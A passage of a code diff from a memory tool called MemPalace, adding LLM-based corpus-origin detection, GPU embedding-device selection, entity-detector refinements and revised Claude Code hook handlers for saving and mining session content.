"primary_platform": <"Claude (Anthropic)" | "ChatGPT (OpenAI)" | "Gemini (Google)" | other platform name | null>,
|
||||
"user_name": <user's name if clearly identifiable from context, else null>,
|
||||
"agent_persona_names": [<names the user has assigned to the AI AGENT(S), NOT the user's own name>],
|
||||
"evidence": [<short bullet strings explaining the decision>]
|
||||
}
|
||||
|
||||
Default stance: if evidence is thin or mixed, return is_ai_dialogue_corpus=true \
|
||||
with low confidence. False-negatives on AI-dialogue detection break downstream \
|
||||
classification; false-positives are recoverable later.
|
||||
"""
|
||||
|
||||
|
||||
def _extract_json(text: str) -> Optional[dict]:
|
||||
"""Pull the first JSON object out of a possibly-messy LLM response."""
|
||||
text = text.strip()
|
||||
if not text:
|
||||
return None
|
||||
# Try straight parse first
|
||||
try:
|
||||
return json.loads(text)
|
||||
except json.JSONDecodeError:
|
||||
pass
|
||||
# Try to find a {...} block
|
||||
start = text.find("{")
|
||||
if start < 0:
|
||||
return None
|
||||
depth = 0
|
||||
in_string = False
|
||||
escape = False
|
||||
for i in range(start, len(text)):
|
||||
ch = text[i]
|
||||
if in_string:
|
||||
if escape:
|
||||
escape = False
|
||||
elif ch == "\\":
|
||||
escape = True
|
||||
elif ch == '"':
|
||||
in_string = False
|
||||
continue
|
||||
if ch == '"':
|
||||
in_string = True
|
||||
elif ch == "{":
|
||||
depth += 1
|
||||
elif ch == "}":
|
||||
depth -= 1
|
||||
if depth == 0:
|
||||
candidate = text[start : i + 1]
|
||||
try:
|
||||
return json.loads(candidate)
|
||||
except json.JSONDecodeError:
|
||||
return None
|
||||
return None
|
||||
|
||||
|
||||
def detect_origin_llm(samples: list[str], provider) -> CorpusOriginResult:
|
||||
"""LLM-assisted detection. Takes samples (list of drawer-text excerpts)
|
||||
and an LLMProvider (mempalace.llm_client.LLMProvider). Returns the
|
||||
same CorpusOriginResult shape as the heuristic.
|
||||
|
||||
Falls back conservatively (default-stance ai=True, low confidence)
|
||||
on any LLM error or malformed response — never raises.
|
||||
"""
|
||||
# Build the user prompt: concise excerpts, capped so we stay cheap
|
||||
max_excerpt_chars = 800
|
||||
excerpts = "\n\n---\n\n".join(
|
||||
f"[sample {i + 1}]\n{s[:max_excerpt_chars]}" for i, s in enumerate(samples[:20])
|
||||
)
|
||||
user_prompt = f"CORPUS EXCERPTS:\n\n{excerpts}\n\nAnalyze and respond with JSON."
|
||||
|
||||
try:
|
||||
resp = provider.classify(system=_SYSTEM_PROMPT, user=user_prompt, json_mode=True)
|
||||
raw = getattr(resp, "text", "") or ""
|
||||
except Exception as e:
|
||||
return CorpusOriginResult(
|
||||
likely_ai_dialogue=True,
|
||||
confidence=0.3,
|
||||
primary_platform=None,
|
||||
evidence=[f"LLM provider error (fallback to default stance): {e}"],
|
||||
)
|
||||
|
||||
parsed = _extract_json(raw)
|
||||
if not parsed or not isinstance(parsed, dict):
|
||||
return CorpusOriginResult(
|
||||
likely_ai_dialogue=True,
|
||||
confidence=0.3,
|
||||
primary_platform=None,
|
||||
evidence=["LLM response was not valid JSON (fallback to default stance)"],
|
||||
)
|
||||
|
||||
# Pull fields defensively. If the LLM leaked the user_name into
|
||||
# agent_persona_names despite the prompt telling it not to, filter it out.
|
||||
user_name = parsed.get("user_name") or None
|
||||
personas = list(parsed.get("agent_persona_names") or [])
|
||||
if user_name:
|
||||
personas = [p for p in personas if p.lower() != user_name.lower()]
|
||||
return CorpusOriginResult(
|
||||
likely_ai_dialogue=bool(parsed.get("is_ai_dialogue_corpus", True)),
|
||||
confidence=float(parsed.get("confidence", 0.5)),
|
||||
primary_platform=parsed.get("primary_platform") or None,
|
||||
user_name=user_name,
|
||||
agent_persona_names=personas,
|
||||
evidence=list(parsed.get("evidence") or []),
|
||||
)
|
||||
@@ -0,0 +1,155 @@
|
||||
"""Embedding function factory with hardware acceleration.
|
||||
|
||||
Returns a ChromaDB-compatible embedding function bound to a user-selected
|
||||
ONNX Runtime execution provider. The same ``all-MiniLM-L6-v2`` model and
|
||||
384-dim vectors ChromaDB ships by default are reused, so switching device
|
||||
does not invalidate existing palaces.
|
||||
|
||||
Supported devices (env ``MEMPALACE_EMBEDDING_DEVICE`` or ``embedding_device``
|
||||
in ``~/.mempalace/config.json``):
|
||||
|
||||
* ``auto`` — prefer CUDA ▸ CoreML ▸ DirectML, fall back to CPU
|
||||
* ``cpu`` — force CPU (the historical default)
|
||||
* ``cuda`` — NVIDIA GPU via ``onnxruntime-gpu`` (``pip install mempalace[gpu]``)
|
||||
* ``coreml`` — Apple Neural Engine (macOS)
|
||||
* ``dml`` — DirectML (Windows / AMD / Intel GPUs)
|
||||
|
||||
Requesting an unavailable accelerator emits a warning and falls back to CPU
|
||||
rather than hard-failing — mining must still work on a laptop without CUDA.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from typing import Optional
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_PROVIDER_MAP = {
|
||||
"cpu": ["CPUExecutionProvider"],
|
||||
"cuda": ["CUDAExecutionProvider", "CPUExecutionProvider"],
|
||||
"coreml": ["CoreMLExecutionProvider", "CPUExecutionProvider"],
|
||||
"dml": ["DmlExecutionProvider", "CPUExecutionProvider"],
|
||||
}
|
||||
|
||||
_DEVICE_EXTRA = {
|
||||
"cuda": "mempalace[gpu]",
|
||||
"coreml": "mempalace[coreml]",
|
||||
"dml": "mempalace[dml]",
|
||||
}
|
||||
|
||||
_AUTO_ORDER = [
|
||||
("CUDAExecutionProvider", "cuda"),
|
||||
("CoreMLExecutionProvider", "coreml"),
|
||||
("DmlExecutionProvider", "dml"),
|
||||
]
|
||||
|
||||
_EF_CACHE: dict = {}
|
||||
_WARNED: set = set()
|
||||
|
||||
|
||||
def _resolve_providers(device: str) -> tuple[list, str]:
|
||||
"""Return ``(provider_list, effective_device)`` for ``device``.
|
||||
|
||||
Falls back to CPU (with a one-shot warning) when the requested
|
||||
accelerator is not compiled into the installed ``onnxruntime``.
|
||||
"""
|
||||
device = (device or "auto").strip().lower()
|
||||
|
||||
try:
|
||||
import onnxruntime as ort
|
||||
|
||||
available = set(ort.get_available_providers())
|
||||
except ImportError:
|
||||
return (["CPUExecutionProvider"], "cpu")
|
||||
|
||||
if device == "auto":
|
||||
for provider, name in _AUTO_ORDER:
|
||||
if provider in available:
|
||||
return ([provider, "CPUExecutionProvider"], name)
|
||||
return (["CPUExecutionProvider"], "cpu")
|
||||
|
||||
requested = _PROVIDER_MAP.get(device)
|
||||
if requested is None:
|
||||
if device not in _WARNED:
|
||||
logger.warning("Unknown embedding_device %r — falling back to cpu", device)
|
||||
_WARNED.add(device)
|
||||
return (["CPUExecutionProvider"], "cpu")
|
||||
|
||||
preferred = requested[0]
|
||||
if preferred == "CPUExecutionProvider":
|
||||
return (requested, "cpu")
|
||||
|
||||
if preferred not in available:
|
||||
if device not in _WARNED:
|
||||
extra = _DEVICE_EXTRA.get(device, "the matching mempalace extra for your device")
|
||||
logger.warning(
|
||||
"embedding_device=%r requested but %s is not installed — "
|
||||
"falling back to CPU. Install %s.",
|
||||
device,
|
||||
preferred,
|
||||
extra,
|
||||
)
|
||||
_WARNED.add(device)
|
||||
return (["CPUExecutionProvider"], "cpu")
|
||||
|
||||
return (requested, device)
|
||||
|
||||
|
||||
def _build_ef_class():
|
||||
"""Subclass ``ONNXMiniLM_L6_V2`` with name ``"default"``.
|
||||
|
||||
Why the rename: ChromaDB 1.5 persists the EF identity on the collection
|
||||
and rejects reads that pass a differently-named EF (``onnx_mini_lm_l6_v2``
|
||||
vs ``default``). The vectors and model are identical — only the
|
||||
``name()`` tag differs — so spoofing the name lets one EF class serve
|
||||
palaces created with ``DefaultEmbeddingFunction`` *and* palaces we
|
||||
create ourselves, with the same GPU-capable ``preferred_providers``.
|
||||
"""
|
||||
from chromadb.utils.embedding_functions import ONNXMiniLM_L6_V2
|
||||
|
||||
class _MempalaceONNX(ONNXMiniLM_L6_V2):
|
||||
@staticmethod
|
||||
def name() -> str:
|
||||
return "default"
|
||||
|
||||
return _MempalaceONNX
|
||||
|
||||
|
||||
def get_embedding_function(device: Optional[str] = None):
|
||||
"""Return a cached embedding function bound to the requested device.
|
||||
|
||||
``device=None`` reads from :class:`MempalaceConfig.embedding_device`.
|
||||
The returned function is shared across calls with the same resolved
|
||||
provider list so we only pay model-load cost once per process.
|
||||
"""
|
||||
if device is None:
|
||||
from .config import MempalaceConfig
|
||||
|
||||
device = MempalaceConfig().embedding_device
|
||||
|
||||
providers, effective = _resolve_providers(device)
|
||||
cache_key = tuple(providers)
|
||||
cached = _EF_CACHE.get(cache_key)
|
||||
if cached is not None:
|
||||
return cached
|
||||
|
||||
ef_cls = _build_ef_class()
|
||||
ef = ef_cls(preferred_providers=providers)
|
||||
_EF_CACHE[cache_key] = ef
|
||||
logger.info("Embedding function initialized (device=%s providers=%s)", effective, providers)
|
||||
return ef
|
||||
|
||||
|
||||
def describe_device(device: Optional[str] = None) -> str:
|
||||
"""Return a short human-readable label for the resolved device.
|
||||
|
||||
Used by the miner CLI header so users can see at a glance whether GPU
|
||||
acceleration actually engaged.
|
||||
"""
|
||||
if device is None:
|
||||
from .config import MempalaceConfig
|
||||
|
||||
device = MempalaceConfig().embedding_device
|
||||
_, effective = _resolve_providers(device)
|
||||
return effective
|
||||
+161
-17
@@ -2,6 +2,9 @@
|
||||
"""
|
||||
entity_detector.py — Auto-detect people and projects from file content.
|
||||
|
||||
Uses ``from __future__ import annotations`` so PEP 604 union syntax
|
||||
(``dict | None``) works on the Python 3.9 baseline.
|
||||
|
||||
Two-pass approach:
|
||||
Pass 1: scan files, extract entity candidates with signal counts
|
||||
Pass 2: score and classify each candidate as person, project, or uncertain
|
||||
@@ -27,6 +30,8 @@ Usage:
|
||||
confirmed = confirm_entities(candidates) # interactive review
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import os
|
||||
import functools
|
||||
@@ -113,6 +118,23 @@ SKIP_DIRS = {
|
||||
".next",
|
||||
"coverage",
|
||||
".mempalace",
|
||||
".terraform",
|
||||
"vendor",
|
||||
"target",
|
||||
}
|
||||
|
||||
# Files whose content is boilerplate prose — poisons entity detection.
|
||||
# Matched by stem (case-insensitive), with or without an extension.
|
||||
SKIP_FILENAMES = {
|
||||
"license",
|
||||
"licence",
|
||||
"copying",
|
||||
"copyright",
|
||||
"notice",
|
||||
"authors",
|
||||
"patents",
|
||||
"third_party_notices",
|
||||
"third-party-notices",
|
||||
}
|
||||
|
||||
|
||||
@@ -193,7 +215,7 @@ def _build_patterns(name: str, languages: tuple = ("en",)) -> dict:
|
||||
"person_verbs": _compile_each(sources["person_verb_patterns"]),
|
||||
"project_verbs": _compile_each(sources["project_verb_patterns"]),
|
||||
"direct": direct_compiled,
|
||||
"versioned": re.compile(rf"\b{n}[-v]\w+", re.IGNORECASE),
|
||||
"versioned": re.compile(rf"\b{n}[-_]v?\d+(?:\.\d+)*\b", re.IGNORECASE),
|
||||
"code_ref": re.compile(rf"\b{n}\.(py|js|ts|yaml|yml|json|sh)\b", re.IGNORECASE),
|
||||
}
|
||||
|
||||
@@ -227,12 +249,19 @@ def score_entity(name: str, text: str, lines: list, languages=("en",)) -> dict:
|
||||
|
||||
# --- Person signals ---
|
||||
|
||||
# Dialogue markers (strong signal)
|
||||
# Dialogue markers (strong signal).
|
||||
# The bare `^NAME:\s` colon-prefix pattern matches metadata lines like
|
||||
# `Created: 2026-04-21`, so we require >= 2 hits for it to count as dialogue
|
||||
# (real speaker markers repeat; single-line metadata doesn't).
|
||||
for rx in patterns["dialogue"]:
|
||||
matches = len(rx.findall(text))
|
||||
if matches > 0:
|
||||
person_score += matches * 3
|
||||
person_signals.append(f"dialogue marker ({matches}x)")
|
||||
if matches == 0:
|
||||
continue
|
||||
is_bare_colon = rx.pattern.endswith(r":\s") and not rx.pattern.endswith(r"[:\s]")
|
||||
if is_bare_colon and matches < 2:
|
||||
continue
|
||||
person_score += matches * 3
|
||||
person_signals.append(f"dialogue marker ({matches}x)")
|
||||
|
||||
# Person verbs
|
||||
for rx in patterns["person_verbs"]:
|
||||
@@ -328,17 +357,28 @@ def classify_entity(name: str, frequency: int, scores: dict) -> dict:
|
||||
signal_categories.add("addressed")
|
||||
|
||||
has_two_signal_types = len(signal_categories) >= 2
|
||||
_ = signal_categories - {"pronoun"} # reserved for future thresholds
|
||||
# Single-category pronoun signal still classifies as person when the
|
||||
# evidence is overwhelming — a diary's main character is referenced
|
||||
# with pronouns, not dialogue markers. Require both: many pronoun hits
|
||||
# AND a high pronoun-to-frequency ratio so common sentence-start words
|
||||
# (Never, Before, etc.) with incidental pronoun proximity don't qualify.
|
||||
pronoun_hits = 0
|
||||
for s in scores["person_signals"]:
|
||||
m = re.search(r"pronoun nearby \((\d+)x\)", s)
|
||||
if m:
|
||||
pronoun_hits = int(m.group(1))
|
||||
break
|
||||
strong_pronoun_signal = pronoun_hits >= 5 and frequency > 0 and pronoun_hits / frequency >= 0.2
|
||||
|
||||
if person_ratio >= 0.7 and has_two_signal_types and ps >= 5:
|
||||
if person_ratio >= 0.7 and (has_two_signal_types and ps >= 5 or strong_pronoun_signal):
|
||||
entity_type = "person"
|
||||
confidence = min(0.99, 0.5 + person_ratio * 0.5)
|
||||
signals = scores["person_signals"] or [f"appears {frequency}x"]
|
||||
elif person_ratio >= 0.7 and (not has_two_signal_types or ps < 5):
|
||||
# Pronoun-only match — downgrade to uncertain
|
||||
elif person_ratio >= 0.7:
|
||||
# Weak single-category person signal — downgrade to uncertain
|
||||
entity_type = "uncertain"
|
||||
confidence = 0.4
|
||||
signals = scores["person_signals"] + [f"appears {frequency}x — pronoun-only match"]
|
||||
signals = scores["person_signals"] + [f"appears {frequency}x — weak person signal"]
|
||||
elif person_ratio <= 0.3:
|
||||
entity_type = "project"
|
||||
confidence = min(0.99, 0.5 + (1 - person_ratio) * 0.5)
|
||||
@@ -361,7 +401,12 @@ def classify_entity(name: str, frequency: int, scores: dict) -> dict:
|
||||
# ==================== MAIN DETECT ====================
|
||||
|
||||
|
||||
def detect_entities(file_paths: list, max_files: int = 10, languages=("en",)) -> dict:
|
||||
def detect_entities(
|
||||
file_paths: list,
|
||||
max_files: int = 10,
|
||||
languages=("en",),
|
||||
corpus_origin: dict | None = None,
|
||||
) -> dict:
|
||||
"""
|
||||
Scan files and detect entity candidates.
|
||||
|
||||
@@ -370,12 +415,24 @@ def detect_entities(file_paths: list, max_files: int = 10, languages=("en",)) ->
|
||||
max_files: Max files to read (for speed)
|
||||
languages: Tuple of language codes whose entity patterns should be
|
||||
applied (union). Defaults to ``("en",)``.
|
||||
corpus_origin: Optional corpus-origin context (the dict produced
|
||||
by ``mempalace.corpus_origin`` and persisted to
|
||||
``<palace>/.mempalace/origin.json`` by ``mempalace init``).
|
||||
When supplied and the corpus is identified as AI-dialogue with
|
||||
known agent persona names, candidates whose name matches an
|
||||
agent persona are moved out of ``people``/``uncertain`` and
|
||||
into a new ``agent_personas`` bucket. Shape:
|
||||
``{"schema_version": 1, "result": {"agent_persona_names": [...], ...}}``.
|
||||
|
||||
Returns:
|
||||
{
|
||||
"people": [...entity dicts...],
|
||||
"projects": [...entity dicts...],
|
||||
"topics": [...entity dicts...],
|
||||
"uncertain":[...entity dicts...],
|
||||
# Only present when corpus_origin reclassifies at least one
|
||||
# candidate as an agent persona:
|
||||
"agent_personas": [...entity dicts...],
|
||||
}
|
||||
"""
|
||||
langs = _normalize_langs(languages)
|
||||
@@ -405,7 +462,10 @@ def detect_entities(file_paths: list, max_files: int = 10, languages=("en",)) ->
|
||||
candidates = extract_candidates(combined_text, languages=langs)
|
||||
|
||||
if not candidates:
|
||||
return {"people": [], "projects": [], "uncertain": []}
|
||||
return _apply_corpus_origin(
|
||||
{"people": [], "projects": [], "topics": [], "uncertain": []},
|
||||
corpus_origin,
|
||||
)
|
||||
|
||||
# Score and classify each candidate
|
||||
people = []
|
||||
@@ -428,13 +488,76 @@ def detect_entities(file_paths: list, max_files: int = 10, languages=("en",)) ->
|
||||
projects.sort(key=lambda x: x["confidence"], reverse=True)
|
||||
uncertain.sort(key=lambda x: x["frequency"], reverse=True)
|
||||
|
||||
# Cap results to most relevant
|
||||
return {
|
||||
detected = {
|
||||
"people": people[:15],
|
||||
"projects": projects[:10],
|
||||
"topics": [],
|
||||
"uncertain": uncertain[:8],
|
||||
}
|
||||
|
||||
return _apply_corpus_origin(detected, corpus_origin)
|
||||
|
||||
|
||||
def _apply_corpus_origin(detected: dict, corpus_origin: dict | None) -> dict:
|
||||
"""Reclassify per-candidate buckets using corpus-origin context.
|
||||
|
||||
When the corpus is identified as AI-dialogue with known agent persona
|
||||
names, a candidate whose name case-insensitively matches one of those
|
||||
personas is moved from ``people``/``uncertain`` into an
|
||||
``agent_personas`` bucket. The candidate's per-entity ``type`` is also
|
||||
rewritten to ``"agent_persona"``.
|
||||
|
||||
No-op when ``corpus_origin`` is ``None`` or contains no usable persona
|
||||
names. Pure: returns a new dict, does not mutate the input.
|
||||
"""
|
||||
if not corpus_origin:
|
||||
return detected
|
||||
|
||||
origin_result = corpus_origin.get("result") or {}
|
||||
raw_personas = origin_result.get("agent_persona_names") or []
|
||||
persona_lower = {n.lower() for n in raw_personas if isinstance(n, str)}
|
||||
if not persona_lower:
|
||||
return detected
|
||||
|
||||
agent_personas: list = []
|
||||
new_people: list = []
|
||||
new_uncertain: list = []
|
||||
|
||||
for entity in detected.get("people", []):
|
||||
if entity["name"].lower() in persona_lower:
|
||||
agent_personas.append(_tag_as_persona(entity))
|
||||
else:
|
||||
new_people.append(entity)
|
||||
|
||||
for entity in detected.get("uncertain", []):
|
||||
if entity["name"].lower() in persona_lower:
|
||||
agent_personas.append(_tag_as_persona(entity))
|
||||
else:
|
||||
new_uncertain.append(entity)
|
||||
|
||||
if not agent_personas:
|
||||
return detected
|
||||
|
||||
agent_personas.sort(key=lambda x: x.get("confidence", 0), reverse=True)
|
||||
|
||||
return {
|
||||
**detected,
|
||||
"people": new_people,
|
||||
"uncertain": new_uncertain,
|
||||
"agent_personas": agent_personas,
|
||||
}
|
||||
|
||||
|
||||
def _tag_as_persona(entity: dict) -> dict:
|
||||
"""Return a new entity dict tagged as agent_persona with provenance signal."""
|
||||
existing_signals = entity.get("signals", [])
|
||||
return {
|
||||
**entity,
|
||||
"type": "agent_persona",
|
||||
"confidence": max(0.95, entity.get("confidence", 0.0)),
|
||||
"signals": ["matched corpus_origin agent_persona_names"] + existing_signals[:2],
|
||||
}
|
||||
|
||||
|
||||
# ==================== INTERACTIVE CONFIRM ====================
|
||||
|
||||
@@ -454,7 +577,13 @@ def confirm_entities(detected: dict, yes: bool = False) -> dict:
|
||||
"""
|
||||
Interactive confirmation step.
|
||||
User reviews detected entities, removes wrong ones, adds missing ones.
|
||||
Returns confirmed {people: [names], projects: [names]}
|
||||
Returns confirmed {people: [names], projects: [names], topics: [names]}.
|
||||
|
||||
Topics are not surfaced for interactive review — they come from the
|
||||
LLM-refined ``TOPIC`` bucket and are passed through verbatim. They
|
||||
feed cross-wing tunnel computation at mine time (see
|
||||
``palace_graph.compute_topic_tunnels``); a wrong topic at worst adds
|
||||
a low-traffic tunnel and never alters drawer storage.
|
||||
|
||||
Pass yes=True to auto-accept all detected entities without prompting.
|
||||
"""
|
||||
@@ -466,18 +595,28 @@ def confirm_entities(detected: dict, yes: bool = False) -> dict:
|
||||
_print_entity_list(detected["people"], "PEOPLE")
|
||||
_print_entity_list(detected["projects"], "PROJECTS")
|
||||
|
||||
if detected.get("topics"):
|
||||
_print_entity_list(detected["topics"], "TOPICS (cross-wing tunnel signal)")
|
||||
|
||||
if detected["uncertain"]:
|
||||
_print_entity_list(detected["uncertain"], "UNCERTAIN (need your call)")
|
||||
|
||||
confirmed_people = [e["name"] for e in detected["people"]]
|
||||
confirmed_projects = [e["name"] for e in detected["projects"]]
|
||||
confirmed_topics = [e["name"] for e in detected.get("topics", [])]
|
||||
|
||||
if yes:
|
||||
# Auto-accept: include all detected (skip uncertain — ambiguous without user input)
|
||||
print(
|
||||
f"\n Auto-accepting {len(confirmed_people)} people, {len(confirmed_projects)} projects."
|
||||
f"\n Auto-accepting {len(confirmed_people)} people, "
|
||||
f"{len(confirmed_projects)} projects, "
|
||||
f"{len(confirmed_topics)} topics."
|
||||
)
|
||||
return {"people": confirmed_people, "projects": confirmed_projects}
|
||||
return {
|
||||
"people": confirmed_people,
|
||||
"projects": confirmed_projects,
|
||||
"topics": confirmed_topics,
|
||||
}
|
||||
|
||||
print(f"\n{'─' * 58}")
|
||||
print(" Options:")
|
||||
@@ -535,11 +674,14 @@ def confirm_entities(detected: dict, yes: bool = False) -> dict:
|
||||
print(" Confirmed:")
|
||||
print(f" People: {', '.join(confirmed_people) or '(none)'}")
|
||||
print(f" Projects: {', '.join(confirmed_projects) or '(none)'}")
|
||||
if confirmed_topics:
|
||||
print(f" Topics: {', '.join(confirmed_topics)}")
|
||||
print(f"{'=' * 58}\n")
|
||||
|
||||
return {
|
||||
"people": confirmed_people,
|
||||
"projects": confirmed_projects,
|
||||
"topics": confirmed_topics,
|
||||
}
|
||||
|
||||
|
||||
@@ -560,6 +702,8 @@ def scan_for_detection(project_dir: str, max_files: int = 10) -> list:
|
||||
dirs[:] = [d for d in dirs if d not in SKIP_DIRS]
|
||||
for filename in filenames:
|
||||
filepath = Path(root) / filename
|
||||
if filepath.stem.lower() in SKIP_FILENAMES:
|
||||
continue
|
||||
ext = filepath.suffix.lower()
|
||||
if ext in PROSE_EXTENSIONS:
|
||||
prose_files.append(filepath)
|
||||
|
||||
+413
-48
@@ -17,22 +17,54 @@ from pathlib import Path
|
||||
SAVE_INTERVAL = 15
|
||||
STATE_DIR = Path.home() / ".mempalace" / "hook_state"
|
||||
|
||||
|
||||
def _mempalace_python() -> str:
|
||||
"""Return the python interpreter that has mempalace installed.
|
||||
|
||||
When hooks are invoked by Claude Code, sys.executable may be the system
|
||||
python which lacks chromadb and other deps. Resolution order:
|
||||
1. MEMPALACE_PYTHON env var (explicit override)
|
||||
2. Venv python from package install path
|
||||
3. Editable install: venv/ sibling to mempalace/
|
||||
4. sys.executable fallback
|
||||
"""
|
||||
# Honor explicit override (used by shell hook wrappers)
|
||||
env_python = os.environ.get("MEMPALACE_PYTHON", "")
|
||||
if env_python and os.path.isfile(env_python) and os.access(env_python, os.X_OK):
|
||||
return env_python
|
||||
# This file lives at <venv>/lib/pythonX.Y/site-packages/mempalace/hooks_cli.py
|
||||
# or <project>/mempalace/hooks_cli.py (editable install).
|
||||
venv_bin = Path(__file__).resolve().parents[3] / "bin" / "python"
|
||||
if venv_bin.is_file():
|
||||
return str(venv_bin)
|
||||
# Editable install: assumes project root has a venv/ sibling to mempalace/
|
||||
project_venv = Path(__file__).resolve().parents[1] / "venv" / "bin" / "python"
|
||||
if project_venv.is_file():
|
||||
return str(project_venv)
|
||||
return sys.executable
|
||||
|
||||
|
||||
_RECENT_MSG_COUNT = 30 # how many recent user messages to summarize
|
||||
|
||||
STOP_BLOCK_REASON = (
|
||||
"AUTO-SAVE checkpoint (MemPalace). Save this session's key content:\n"
|
||||
"1. mempalace_diary_write — AAAK-compressed session summary\n"
|
||||
"2. mempalace_add_drawer — verbatim quotes, decisions, code snippets\n"
|
||||
"1. mempalace_diary_write — session summary (what was discussed, "
|
||||
"key decisions, current state of work)\n"
|
||||
"2. mempalace_add_drawer — verbatim quotes, decisions, code snippets "
|
||||
"(place in appropriate wing and room)\n"
|
||||
"3. mempalace_kg_add — entity relationships (optional)\n"
|
||||
"Do NOT write to Claude Code's native auto-memory (.md files). "
|
||||
"Continue conversation after saving."
|
||||
"For THIS save, use MemPalace MCP tools only (not auto-memory .md files). "
|
||||
"Use verbatim quotes where possible. Continue conversation after saving."
|
||||
)
|
||||
|
||||
PRECOMPACT_BLOCK_REASON = (
|
||||
"COMPACTION IMMINENT (MemPalace). Save ALL session content before context is lost:\n"
|
||||
"1. mempalace_diary_write — thorough AAAK-compressed session summary\n"
|
||||
"2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context\n"
|
||||
"1. mempalace_diary_write — thorough session summary\n"
|
||||
"2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context "
|
||||
"(place each in appropriate wing and room)\n"
|
||||
"3. mempalace_kg_add — entity relationships (optional)\n"
|
||||
"Be thorough \u2014 after compaction, detailed context will be lost. "
|
||||
"Do NOT write to Claude Code's native auto-memory (.md files). "
|
||||
"For THIS save, use MemPalace MCP tools only (not auto-memory .md files). "
|
||||
"Be thorough — after compaction this is all that survives. "
|
||||
"Save everything to MemPalace, then allow compaction to proceed."
|
||||
)
|
||||
|
||||
@@ -134,20 +166,54 @@ def _log(message: str):
|
||||
|
||||
|
||||
def _output(data: dict):
|
||||
"""Print JSON to stdout with consistent formatting (pretty-printed)."""
|
||||
print(json.dumps(data, indent=2, ensure_ascii=False))
|
||||
"""Print JSON to stdout without importing modules that may redirect streams.
|
||||
|
||||
If mempalace.mcp_server is already loaded, reuse its saved real stdout fd.
|
||||
Otherwise, write directly to fd 1 so hook responses still go to stdout even
|
||||
if sys.stdout has been redirected elsewhere.
|
||||
"""
|
||||
payload = (json.dumps(data, indent=2, ensure_ascii=False) + "\n").encode("utf-8")
|
||||
|
||||
real_stdout_fd: int | None = None
|
||||
mcp_mod = sys.modules.get("mempalace.mcp_server") or sys.modules.get(
|
||||
f"{__package__}.mcp_server" if __package__ else "mcp_server"
|
||||
)
|
||||
if mcp_mod is not None:
|
||||
real_stdout_fd = getattr(mcp_mod, "_REAL_STDOUT_FD", None)
|
||||
|
||||
fd = real_stdout_fd if real_stdout_fd is not None else 1
|
||||
offset = 0
|
||||
try:
|
||||
while offset < len(payload):
|
||||
try:
|
||||
offset += os.write(fd, payload[offset:])
|
||||
except InterruptedError:
|
||||
continue
|
||||
return
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
sys.stdout.buffer.write(payload)
|
||||
sys.stdout.buffer.flush()
|
||||
|
||||
|
||||
def _get_mine_dir(transcript_path: str = "") -> str:
|
||||
"""Determine directory to mine from MEMPAL_DIR or transcript path."""
|
||||
def _get_mine_targets() -> list[tuple[str, str]]:
|
||||
"""Return the list of ``(dir, mode)`` targets for auto-ingest.
|
||||
|
||||
MEMPAL_DIR (when set and resolvable) contributes a ``"projects"``
|
||||
target. Transcript ingestion is handled separately by
|
||||
``_ingest_transcript`` — emitting it here too would double-mine the
|
||||
same JSONL into a different wing on every hook fire (#1231 review).
|
||||
|
||||
An empty list means no MEMPAL_DIR ingest should run.
|
||||
"""
|
||||
targets: list[tuple[str, str]] = []
|
||||
mempal_dir = os.environ.get("MEMPAL_DIR", "")
|
||||
if mempal_dir and os.path.isdir(mempal_dir):
|
||||
return mempal_dir
|
||||
if transcript_path:
|
||||
path = Path(transcript_path).expanduser()
|
||||
if path.is_file():
|
||||
return str(path.parent)
|
||||
return ""
|
||||
if mempal_dir:
|
||||
resolved = Path(mempal_dir).expanduser().resolve()
|
||||
if resolved.is_dir():
|
||||
targets.append((str(resolved), "projects"))
|
||||
return targets
|
||||
|
||||
|
||||
_MINE_PID_FILE = STATE_DIR / "mine.pid"
|
||||
@@ -204,36 +270,233 @@ def _spawn_mine(cmd: list) -> None:
|
||||
_MINE_PID_FILE.write_text(str(proc.pid))
|
||||
|
||||
|
||||
def _maybe_auto_ingest(transcript_path: str = ""):
|
||||
"""Run mempalace mine in background if a mine directory is available."""
|
||||
mine_dir = _get_mine_dir(transcript_path)
|
||||
if not mine_dir:
|
||||
def _maybe_auto_ingest():
|
||||
"""Background-mine MEMPAL_DIR (project files) if set.
|
||||
|
||||
Transcript convos are ingested separately via ``_ingest_transcript``
|
||||
in the hook handlers — this function does not handle them, to avoid
|
||||
asymmetric interpreter handling and PID-file overwrite when both
|
||||
targets fire from a single hook call (#1231 review).
|
||||
"""
|
||||
targets = _get_mine_targets()
|
||||
if not targets:
|
||||
return
|
||||
if _mine_already_running():
|
||||
_log("Skipping auto-ingest: mine already running")
|
||||
return
|
||||
for mine_dir, mode in targets:
|
||||
try:
|
||||
_spawn_mine([_mempalace_python(), "-m", "mempalace", "mine", mine_dir, "--mode", mode])
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def _mine_sync():
|
||||
"""Synchronously mine MEMPAL_DIR (precompact path).
|
||||
|
||||
Transcript convos are ingested separately via ``_ingest_transcript``
|
||||
in ``hook_precompact`` — keeping them out of this function avoids
|
||||
timeout stacking against the harness 30s ceiling (#1231 review).
|
||||
"""
|
||||
targets = _get_mine_targets()
|
||||
if not targets:
|
||||
return
|
||||
STATE_DIR.mkdir(parents=True, exist_ok=True)
|
||||
log_path = STATE_DIR / "hook.log"
|
||||
for mine_dir, mode in targets:
|
||||
try:
|
||||
with open(log_path, "a") as log_f:
|
||||
subprocess.run(
|
||||
[
|
||||
_mempalace_python(),
|
||||
"-m",
|
||||
"mempalace",
|
||||
"mine",
|
||||
mine_dir,
|
||||
"--mode",
|
||||
mode,
|
||||
],
|
||||
stdout=log_f,
|
||||
stderr=log_f,
|
||||
timeout=60,
|
||||
)
|
||||
except (OSError, subprocess.TimeoutExpired):
|
||||
pass
|
||||
|
||||
|
||||
def _desktop_toast(body: str, title: str = "MemPalace"):
|
||||
"""Send a desktop notification via notify-send. Fails silently."""
|
||||
try:
|
||||
_spawn_mine([sys.executable, "-m", "mempalace", "mine", mine_dir])
|
||||
subprocess.Popen(
|
||||
["notify-send", "--app-name=MemPalace", "--icon=brain", title, body],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
